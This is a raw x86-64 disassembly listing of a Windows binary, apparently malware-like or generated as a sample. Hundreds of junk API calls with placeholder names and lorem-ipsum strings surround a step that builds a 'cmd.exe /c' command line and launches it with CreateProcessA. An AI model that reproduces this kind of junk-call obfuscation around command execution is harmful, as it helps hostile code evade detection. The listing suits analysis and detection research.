lea rdx, str.MiaGreenholt
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.NettieKonopelskiSr
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cab10]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xe9015f39
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x98]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
lea rdx, str.Et_illum_iure_officia_facere_velit_sit_ipsam_ea_dicta
lea rcx, str.DrEstherRowe
call rdi
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call rbx
lea rcx, str.DrRonMitchellII
call r12
mov ecx, 0xd6bf5f6b
call fcn.00414620
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
mov rdx, qword [0x004ca9a0]
mov dword [rdx], eax
mov rax, qword [0x004ca6d0]
xor edx, edx
mov dword [rax], 0x6a181e68
mov rax, qword [0x004ca250]
mov dword [rax], 0x9e4b0704
mov rax, qword [rsp + 0x78]
mov dword [rsp + 0x20], 0
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca3a0]
mov rcx, qword [0x004ca6f0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca6c0]
mov ecx, dword [rax]
call fcn.00414620
mov r12, qword [0x004ca1d0]
xor ecx, ecx
mov dword [r12], eax
call rbp
mov eax, dword [r12]
mov rdx, qword [0x004cad20]
mov r12, qword [0x004ca1b0]
mov rcx, qword [0x004caf10]
mov dword [rdx], eax
lea rdx, str.Ipsam_illum_sed_molestiae_enim
mov eax, dword [r12]
mov dword [rcx], eax
lea rcx, str.MsElizabethAbernathyIV
call rdi
xor ecx, ecx
call r13
mov rax, qword [0x004ca600]
xor edx, edx
lea rcx, str.Eos_aliquid_ea_fugit_unde_voluptatem_perferendis_enim_et
mov dword [rax], 0x8f3600f5
call r14
mov rax, qword [0x004ca360]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cab20]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca560]
mov rdi, qword [0x004cad70]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004caac0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca7e0]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x98]
call rax
mov r10, qword [0x004cae70]
xor r9d, r9d
xor r8d, r8d
mov rdi, qword [0x004ca260]
xor edx, edx
xor ecx, ecx
mov eax, dword [r10]
mov dword [rdi], eax
mov rdi, qword [0x004ca210]
mov rax, qword [0x004cae90]
mov dword [rdi], 0x99e1df09
mov dword [rax], 0x17082b9c
mov rax, qword [rsp + 0x78]
mov dword [rsp + 0x20], 0
call rax
mov ecx, 0xc52ac6c9
call fcn.00414620
xor edx, edx
xor ecx, ecx
mov dword [r12], eax
call rsi
mov rax, qword [0x004ca710]
xor ecx, ecx
mov dword [rdi], 0x753bd9b5
mov edx, dword [rax]
mov rax, qword [0x004cade0]
mov dword [rax], edx
mov rax, qword [0x004ca460]
xor edx, edx
mov dword [rax], 0xb67be0c2
call rsi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cac90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadb0]
mov dword [rdx], eax
mov rax, qword [0x004ca520]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca530]
mov ecx, 0xade3cc43
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004caa50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004ca770]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca9b0]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov dword [rdi], eax
mov rax, qword [rsp + 0xa0]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0xa0]
call rax
mov rax, qword [0x004ca6e0]
mov rdi, qword [0x004ca5c0]
mov ecx, 0x5d8e31e
mov r12, qword [0x004caf20]
mov r10, qword [0x004cae70]
mov edx, dword [rax]
mov dword [r12], edx
mov edx, dword [rdi]
mov dword [r10], edx
mov rdx, qword [0x004cac30]
mov edx, dword [rdx]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caf00]
mov rcx, qword [0x004caf70]
mov dword [rdx], eax
mov rax, qword [0x004ca460]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0xa0]
call rax
mov rax, qword [0x004ca670]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x571e785c
mov rax, qword [0x004ca300]
mov dword [rax], 0x6a922fd3
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0xa8]
call rax
mov eax, dword [rdi]
mov rdi, qword [0x004caa80]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca360]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac40]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0xa8]
call rax
mov rax, qword [0x004ca9c0]
mov dword [rax], 0xa50ed71f
mov rax, qword [0x004cae50]
mov dword [rax], 0xd8d88e31
mov rax, qword [0x004caec0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca9f0]
mov dword [rdi], eax
mov rax, qword [0x004ca480]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4a0]
mov rdi, qword [0x004ca480]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caa90]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rdi, qword [0x004cad40]
mov rdx, qword [0x004caaf0]
xor ecx, ecx
mov eax, dword [rdi]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cab00]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca3b0]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rbx
mov rax, qword [0x004ca630]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca770]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0xa8]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004cabc0]
mov rbx, qword [0x004caee0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0xb0]
call rax
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0x76480b07
call fcn.00414620
mov rbx, qword [0x004ca810]
mov dword [rbx], eax
mov rax, qword [0x004ca470]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca4c0]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
mov dword [rdi], 0x4092186c
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca720]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004caf50]
mov eax, dword [rax]
mov dword [rdi], eax
call rsi
xor edx, edx
lea rcx, str.GabrielleBoehm
call r14
mov ecx, 0xdb2cc0e6
call fcn.00414620
mov rdi, qword [0x004ca9a0]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
call rsi
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0x402113b3
call fcn.00414620
xor ecx, ecx
mov dword [r12], eax
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004cad60]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca2b0]
mov dword [rax], edx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca740]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca990]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004ca340]
mov dword [rax], 0x93482687
mov rax, qword [0x004cab70]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call r15
xor ecx, ecx
call r13
lea rcx, [rsp + 0x39c]
lea r9, [rsp + 0x194]
mov edx, 0x400
lea r8, str.cmd.exe__c_echo_mFYSFCZWAJQDJtDFZOUbL___s_exit
call qword [sym.imp.msvcrt.dll__snprintf]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0xebc
jne 0x41b13f
mov rax, qword [0x004ca420]
xor ecx, ecx
mov dword [rax], 0x5b1d6c26
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rsi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x68], r11
call r11
mov ecx, 0x63fafbfc
call fcn.00414620
mov rdx, qword [0x004ca600]
mov ecx, 0xbf083b49
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cad90]
mov rbx, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Aperiam_ut_quas_et_nemo_dolore_aut_harum_magnam_cumque_nam_facere
mov dword [rdx], eax
lea rdx, str.Consequatur_ut_et_in
call rbx
mov rax, qword [0x004cabf0]
lea rcx, str.DrDillanBashirianIV
mov dword [rax], 0x9a219fb9
mov rax, qword [str.7U5]
mov edx, dword [rax]
mov rax, qword [0x004cae10]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x58], rax
call rax
mov r10, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], r10
call r10
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommMask]
mov rbp, qword [0x004ca2d0]
mov rax, qword [0x004ca3d0]
xor ecx, ecx
mov dword [rax], 0x5a747d0e
mov edx, dword [rbp]
mov rax, qword [0x004ca710]
mov dword [rax], edx
mov rax, qword [0x004caa10]
mov edx, dword [rax]
mov rax, qword [0x004caf70]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rbp]
mov ecx, 0x496223b5
mov rdi, qword [0x004ca1e0]
mov dword [rdi], eax
mov rax, qword [0x004caa60]
mov dword [rax], 0x3aeb3794
call fcn.00414620
mov rdx, qword [0x004caa30]
mov ecx, 0x8c0e7e0a
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004caf20]
lea rcx, str.Quas_eum_alias_ut_neque_quae
mov dword [rdx], eax
lea rdx, str.ProfCaleighBauch
call rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov ecx, 0x3cb346aa
call fcn.00414620
mov rdx, qword [0x004caf60]
xor r9d, r9d
mov r12, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca820]
xor edx, edx
mov dword [rax], 0x150c31ac
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r12
mov rax, qword [0x004cad80]
xor ecx, ecx
mov dword [rax], 0xaa383d64
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x60], rax
call rax
mov r15, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Enim_sed_eveniet
call r15
mov rax, qword [0x004ca560]
mov ecx, 0x9f624be6
mov edx, dword [rax]
mov rax, qword [0x004ca4a0]
mov dword [rax], edx
mov rax, qword [0x004ca690]
mov edx, dword [rax]
mov rax, qword [0x004ca630]
mov dword [rax], edx
mov rax, qword [0x004cada0]
mov edx, dword [rax]
mov rax, qword [0x004ca370]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cac00]
lea rcx, str.Et_fugiat_alias
mov dword [rdx], eax
mov rax, qword [0x004ca320]
lea rdx, str.Voluptas_sint_enim_veritatis_quo_quo_est_aut
mov dword [rax], 0xad11430b
call rbx
mov r11, qword [rsp + 0x68]
xor ecx, ecx
mov qword [rsp + 0x70], r11
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rdi, qword [0x004caca0]
mov rdx, qword [0x004ca790]
xor ecx, ecx
mov eax, dword [rdi]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
mov qword [rsp + 0x68], rax
call rax
xor edx, edx
lea r8, str.Beatae_excepturi_qui_qui
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004ca1a0]
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0x9fa16af0
call r14
mov rax, qword [0x004ca500]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x51dfb4a2
call rsi
mov ecx, 0xf5fd506
call fcn.00414620
mov rsi, qword [0x004ca4c0]
mov ecx, 0xba085fb1
mov dword [rsi], eax
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rdi], eax
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r12
mov r13, qword [0x004caa40]
mov rax, qword [0x004ca4d0]
mov ecx, 0x5fd92054
mov dword [r13], 0x570366ac
mov dword [rax], 0x339ec9f1
call fcn.00414620
mov rsi, qword [0x004caaa0]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [rsp + 0x68]
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.ElizaMcKenzieIV
lea rcx, str.ProfColtenMayer
call rbx
lea rcx, str.DrZackBlockSr
mov rax, qword [rsp + 0x58]
call rax
lea rdx, str.Quia_ab_voluptas_cupiditate_quibusdam_earum_sit
lea rcx, str.LornaMurazik
call rbx
mov rax, qword [0x004ca790]
mov rsi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cad30]
mov dword [rax], edx
xor edx, edx
call rsi
mov eax, dword [r13]
mov rcx, qword [0x004ca3d0]
mov r13, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rcx], eax
lea rcx, str.EstellZiemann
call r13
mov ecx, 0xe58af271
call fcn.00414620
mov rdx, qword [0x004ca7b0]
xor ecx, ecx
mov dword [rdx], eax
call r14
lea rdx, str.GeoffreyKuhicIV
lea rcx, str.Aliquam_animi_eius_rerum_sit_impedit_quia
call rbx
lea rcx, str.GillianHarberIII
call r13
lea rcx, str.MadilynHirthe
call r13
xor edx, edx
lea rcx, str.PearlFunk
call r15
mov rax, qword [0x004cac10]
xor ecx, ecx
mov dword [rax], 0x1215e93c
call r14
mov ecx, 0xb8e394ea
call fcn.00414620
mov rdx, qword [0x004ca1d0]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004cad10]
mov ecx, 0xd40d76e9
mov dword [rax], 0x2f28a2ee
call fcn.00414620
mov rdx, qword [0x004cadb0]
lea rcx, str.KristaNicolasJr
mov dword [rdx], eax
lea rdx, str.Quisquam_fugiat_molestiae_iusto_unde_cupiditate_voluptas_non_iste_aut
call rbx
mov rax, qword [0x004ca660]
mov ecx, 0xfb92b9f6
mov edx, dword [rax]
mov rax, qword [0x004cabb0]
mov dword [rax], edx
call fcn.00414620
mov r13, qword [0x004ca550]
mov rdx, qword [0x004cad70]
mov ecx, dword [r13]
mov dword [rdx], eax
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca360]
mov r14, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
mov r8, qword [0x004ca2a0]
mov rax, qword [0x004ca800]
mov edx, dword [r8]
mov dword [rax], edx
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov dword [r13], eax
mov rax, qword [0x004caf50]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caa80]
mov r11, qword [rsp + 0x70]
mov dword [rcx], eax
xor ecx, ecx
call r11
mov rax, qword [0x004cac70]
mov r13, qword [0x004caaf0]
lea rcx, str.Deleniti_necessitatibus_quis_deleniti_delectus
mov edx, dword [rax]
mov rax, qword [0x004ca210]
mov dword [rax], edx
mov rax, qword [0x004caa10]
xor edx, edx
mov eax, dword [rax]
mov dword [r13], eax
call r15
mov rax, qword [0x004ca5b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf40]
lea rcx, str.TimmothyReynolds
mov dword [rdx], eax
lea rdx, str.Deserunt_eum_quo_animi_sapiente_aspernatur_fugit_optio_aut
call rbx
mov rax, qword [0x004ca6d0]
mov dword [rax], 0xa304bfb7
mov rax, qword [0x004caaa0]
mov ecx, dword [rax]
call fcn.00414620
mov r15, qword [0x004ca250]
mov r8, qword [0x004ca2a0]
mov dword [rbp], eax
mov rax, qword [0x004ca560]
mov ecx, dword [r15]
mov eax, dword [rax]
mov dword [r13], eax
mov r13, qword [0x004ca9a0]
mov eax, dword [r13]
mov dword [r8], eax
call fcn.00414620
mov rdx, qword [0x004ca470]
mov rbp, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca270]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad70]
mov ecx, 0x15b4517b
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca770]
mov dword [rcx], eax
mov rax, qword [0x004ca2f0]
mov ecx, 0xd2f82b81
mov dword [rax], 0xcb809ff
call fcn.00414620
mov rdx, qword [0x004caa80]
mov ecx, 0x45c74e76
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004caaa0]
mov r10, qword [rsp + 0x78]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call r10
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call r12
mov rax, qword [0x004cab00]
mov dword [rax], 0x4532e28a
mov rax, qword [0x004ca760]
mov ecx, dword [rax]
call fcn.00414620
mov ecx, 0x9a873f37
mov dword [r15], eax
call fcn.00414620
mov rdx, qword [0x004ca480]
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_SetEvent]
call r15
xor ecx, ecx
call rbp
xor ecx, ecx
call r12
mov r14, qword [0x004ca990]
mov ecx, dword [r14]
call fcn.00414620
mov rdx, qword [0x004ca3f0]
mov dword [rdx], eax
mov rax, qword [0x004cad50]
mov edx, dword [rax]
mov rax, qword [0x004cabe0]
mov dword [rax], edx
mov rax, qword [0x004ca6a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae20]
mov ecx, 0xa7ded1bf
mov dword [rdx], eax
mov rax, qword [0x004ca770]
mov dword [rax], 0xa2bdfff6
call fcn.00414620
mov rdx, qword [0x004ca720]
xor ecx, ecx
mov dword [rdx], eax
mov eax, dword [r13]
mov rdx, qword [0x004ca3d0]
mov dword [rdx], eax
mov rax, qword [0x004cac40]
xor edx, edx
mov dword [rax], 0x6945a687
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rax, qword [0x004cae80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae00]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caae0]
mov edx, dword [rax]
mov rax, qword [0x004ca1b0]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [0x004ca7e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca450]
mov rsi, qword [0x004ca1e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca4c0]
mov dword [rax], 0xdd87c18
mov rax, qword [0x004ca530]
mov eax, dword [rax]
mov dword [rsi], eax
call r15
xor ecx, ecx
call r12
mov rax, qword [0x004cad70]
lea rcx, str.PansyKiehn
mov dword [rax], 0x510a620
mov rax, qword [rsp + 0x58]
call rax
mov dword [r14], 0x1523d40f
lea rdx, str.WatsonHamill
lea rcx, str.Temporibus_minima_enim_quia_ut_placeat_voluptatem_sed
call rbx
lea rax, [rsp + 0x110]
xor ecx, ecx
lea r8, [rsp + 0xf8]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x128]
mov r9, r8
lea rdx, [rsp + 0x39c]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x5ec4
jne 0x41b674
mov rax, qword [0x004caee0]
mov rbx, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov dword [rax], 0x4dab8145
call rbx
mov r12, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.AlaynaHessel
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rdi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rdi
mov r13, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.VellaRau
call r13
mov rax, qword [0x004ca7e0]
xor ecx, ecx
mov dword [rax], 0x8a52354c
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x50], rax
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov ecx, 0x92b7a28a
call fcn.00414620
mov rdx, qword [0x004ca340]
mov rbp, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.GregoriaWehner
call r14
mov r10, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rax, qword [0x004ca680]
lea rdx, str.Veritatis_corrupti_quos
lea rcx, str.UrbanKoelpin
mov qword [rsp + 0x68], r10
mov dword [rax], 0x991958ab
call r10
xor ecx, ecx
call rbx
mov r11, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Voluptatum_illo_inventore_vero_earum_eos_qui_optio_nihil_quis_dignissimos_sequi
mov qword [rsp + 0x60], r11
call r11
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov ecx, 0x2be86912
call fcn.00414620
mov rdx, qword [0x004ca1a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cab40]
mov dword [rax], 0xe447cda6
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x58], rax
call rax
lea rcx, str.FletcherWest
call r13
mov ecx, 0x621f9899
call fcn.00414620
mov rdx, qword [0x004ca810]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004ca3d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca460]
mov dword [rax], edx
mov rax, qword [0x004ca5a0]
xor edx, edx
mov dword [rax], 0x46fc1428
mov rax, qword [0x004cab60]
mov dword [rax], 0xa0582e33
call rbp
xor ecx, ecx
call rsi
mov rax, qword [0x004ca5c0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cad90]
mov dword [rax], edx
call rsi
mov rax, qword [0x004ca710]
mov ecx, 0x2aaab933
mov dword [rax], 0x96ead6fc
call fcn.00414620
mov rdx, qword [0x004cae00]
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rdx], eax
call r15
lea rcx, str.SvenEbert
call r13
xor edx, edx
lea rcx, str.Reiciendis_eligendi_recusandae_tenetur_minima_facilis_itaque_vero_ratione
call r12
mov ecx, 0xc645b3c2
call fcn.00414620
mov rcx, qword [0x004ca6e0]
mov r12, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rcx], eax
mov rax, qword [0x004ca500]
xor ecx, ecx
mov dword [rax], 0xa213a938
call r12
mov rax, qword [0x004caeb0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca490]
mov dword [rax], edx
call rbx
mov rax, qword [0x004ca6f0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x11784b94
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca7c0]
xor ecx, ecx
mov dword [rax], 0xb0e8b044
call rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rax, qword [0x004caac0]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov edx, dword [rax]
mov rax, qword [0x004ca420]
mov dword [rax], edx
xor edx, edx
call r13
mov ecx, 0x2ada5215
call fcn.00414620
mov rdx, qword [0x004ca990]
mov r11, qword [rsp + 0x60]
xor ecx, ecx
lea r8, str.MalikaLabadie
mov dword [rdx], eax
xor edx, edx
call r11
xor ecx, ecx
call rsi
mov rax, qword [0x004ca780]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca280]
xor ecx, ecx
mov dword [rsi], eax
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov r10, qword [rsp + 0x68]
lea rdx, str.Quis_cupiditate_et_inventore_qui_quisquam_nulla_et
lea rcx, str.Maxime_corporis_rem_ullam_ut_praesentium_asperiores
call r10
mov rax, qword [0x004caf60]
xor ecx, ecx
mov dword [rax], 0xb1bcc2c5
call r12
mov rax, qword [0x004cac20]
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_SetEvent]
mov edx, dword [rax]
mov rax, qword [0x004cade0]
mov dword [rax], edx
mov rax, qword [0x004caab0]
mov dword [rax], 0xd60f5c46
mov rax, qword [0x004cac50]
mov dword [rax], 0x27ad08be
call rsi
mov rax, qword [0x004ca710]
mov rdx, qword [0x004ca6e0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cab50]
mov edx, dword [rax]
mov rax, qword [0x004cac90]
mov dword [rax], edx
call r12
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004ca7f0]
mov dword [rax], 0xb631bc2b
